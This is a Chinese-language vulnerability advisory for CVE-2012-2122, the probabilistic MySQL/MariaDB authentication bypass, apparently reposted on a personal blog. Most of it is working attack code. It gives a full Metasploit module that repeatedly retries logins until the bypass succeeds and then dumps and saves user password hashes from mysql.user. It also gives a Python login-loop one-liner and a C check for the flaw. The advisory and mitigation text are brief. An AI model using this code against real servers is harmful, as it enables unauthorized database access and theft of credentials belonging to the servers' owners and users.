MySQL 概率性任意密码(身份认证)登录漏洞(CVE-2012-2122)

发布时间: 2012-06-11 (GMT+0800)

漏洞版本:

MySQL < 5.6.6
MySQL < 5.5.24
MySQL < 5.1.63
MariaDB < 5.5.23
MariaDB < 5.3.6
MariaDB < 5.2.12
MariaDB < 5.1.62

漏洞描述:

CVE ID: CVE-2012-2122

MariaDB是为MySQL提供偶然替代功能的数据库服务器。MySQL是开源数据库。

MariaDB 5.1.62, 5.2.12、5.3.6、5.5.23之前版本和MySQL 5.1.63、5.5.24、5.6.6之前版本在用户验证的处理上存在安全漏洞,可能导致攻击者无需知道正确口令就能登录到MySQL服务器。

用户连接到MariaDB/MySQL后,应用会计算和比较令牌值,由于错误的转换,即使memcmp()返回非零值,也可能出现错误的比较,造成MySQL/MariaDB误认为密码是正确的,因为协议使用的是随机字符串,该Bug发生的几率为1/256。MySQL的版本是否受影响取决于程序的编译方式,很多版本(包括官方提供的二进制文件)并不受此漏洞的影响。

也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现。

参考
http://seclists.org/oss-sec/2012/q2/493

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
#####  方法一、
&nbsp;
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 &lt; Msf::Auxiliary
include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)
deregister_options('PASSWORD')
end
def run_host(ip)
# Keep track of results (successful connections)
results = []
# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)
# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
})
x.connect
results << x
print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"
rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
end
# Short circuit if we already won
if results.length > 0
@mysql_handle = results.first
return dump_hashes
end
#
# Threaded login checker
#
max_threads = 16
cur_threads = []
# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]
while(queue.length > 0)
while(cur_threads.length < max_threads)
# We can stop if we get a valid login
break if results.length > 0
# keep track of how many attempts we've made
item = queue.shift
# We can stop if we reach 1000 tries
break if not item
# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0
t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
:db => nil
})
print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
results << x
rescue RbMysql::AccessDeniedError
rescue Exception => e
print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
end
end
cur_threads << t
end
# We can stop if we get a valid login
break if results.length > 0
# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end
# Remove any dead threads from the set
cur_threads.delete(nil)
::IO.select(nil, nil, nil, 0.25)
end
# Clean up any remaining threads
cur_threads.each {|x| x.kill }
if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end
def dump_hashes
# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
return
end
# Create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mysql',
:proto => 'tcp'
)
end
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
end
# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{rhost}-#{rport}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")
end
end
1
2
3
4
5
6
7
8
9
10
11
########################################################################################
测试方法,2
#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
########################################################################################
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
测试方法,3
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int one, two, ret;
time_t start = time(0);
time_t now;
srand(getpid()*start);
while (1) {
one = rand();
two = rand();
ret = memcmp(&one, &two, sizeof(int));
if (ret < -128 || ret > 127)
break;
time(&now);
if (now - start > 10) {
printf("Not triggered in 10 seconds, *probably* not vulnerable..n");
return 1;
}
}
printf("Vulnerable! memcmp returned: %dn", ret);
return 0;
}

安全建议:

临时解决办法:

在防火墙上关闭mysql端口
厂商补丁:

MySQL AB

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.mysql.com/

MariaDB

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://mariadb.org/

本文转自:sebug.net

Posted by creturn - 7月 1 2012
如需转载,请注明: 本文来自 Return's Blog